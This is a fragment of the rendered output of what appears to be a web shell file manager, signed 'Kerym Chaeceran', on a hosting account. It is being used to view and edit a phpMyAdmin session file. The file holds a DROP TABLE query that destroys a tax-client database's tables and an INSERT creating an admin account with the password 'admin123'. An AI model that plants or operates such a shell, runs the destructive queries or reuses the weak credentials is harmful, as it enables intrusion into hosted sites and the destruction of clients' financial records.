`spouses`, `status_logs`, `targets`, `taxpayer_forms`, `tax_organizers`, `tax_years`, `teams`, `users`;&quot;;}i:11;a:3:{s:2:&quot;db&quot;;s:21:&quot;qbfdcvcb_securetax_db&quot;;s:5:&quot;table&quot;;s:0:&quot;&quot;;s:8:&quot;sqlquery&quot;;s:475:&quot;DROP TABLE `archived_targets`, `blogs`, `clients`, `client_assignments`, `client_documents`, `client_notes`, `client_referrals`, `dependents`, `documents`, `employees`, `filings`, `invoices`, `invoice_items`, `invoice_templates`, `leads`, `lead_callbacks`, `lead_notes`, `login_logs`, `notifications`, `payments`, `pricing_items`, `referrals`, `site_settings`, `sliders`, `spouses`, `status_logs`, `targets`, `taxpayer_forms`, `tax_organizers`, `tax_years`, `teams`, `users`;&quot;;}i:12;a:3:{s:2:&quot;db&quot;;s:13:&quot;qbfdcvcb_vvct&quot;;s:5:&quot;table&quot;;s:0:&quot;&quot;;s:8:&quot;sqlquery&quot;;s:215:&quot;-- Insert initial admin user (username: admin, password: admin123)
INSERT INTO users (username, password_hash, name, role_id, division_id, branch_id) VALUES
 (&#039;admin&#039;, SHA2(&#039;admin123&#039;,256), &#039;System Admin&#039;, 1, 1, 1);&quot;;}}__upload_status|a:1:{s:7:&quot;handler&quot;;s:47:&quot;PhpMyAdmin\Plugins\Import\Upload\UploadNoplugin&quot;;}Import_message|a:2:{s:7:&quot;message&quot;;s:209:&quot;&lt;div class=&quot;alert alert-success&quot; role=&quot;alert&quot;&gt;
  &lt;img src=&quot;themes/dot.gif&quot; title=&quot;&quot; alt=&quot;&quot; class=&quot;icon ic_s_success&quot;&gt; &lt;em&gt;Import has been successfully finished, 17 queries executed.&lt;/em&gt; (database.sql)
&lt;/div&gt;
&quot;;s:11:&quot;go_back_url&quot;;s:49:&quot;index.php?route=/database/import&amp;db=qbfdcvcb_vvct&quot;;}is_multi_query|b:1;sql_from_query_box|b:1;errors|a:0:{}</textarea><br><br><input type='hidden' name='archivo_editar' value='/home/qbfdcvcb/tmp/sess_b607099df16b1f3757a30a5e17928872'><input type='submit' value='[✓] SAVE' style='background:#00ff41; color:#0a0a0a; border:none; padding:10px 30px; font-family:monospace; cursor:pointer;'> <a href='?path=%2Fhome%2Fqbfdcvcb%2Ftmp' style='color:#858585; text-decoration:none; padding:10px 30px; border:1px solid #858585;'>[✗] CANCEL</a></form></div><div style='color:#00ff41; font-family:monospace; text-align:center; padding:20px;'>[~] Kerym Chaeceran</div>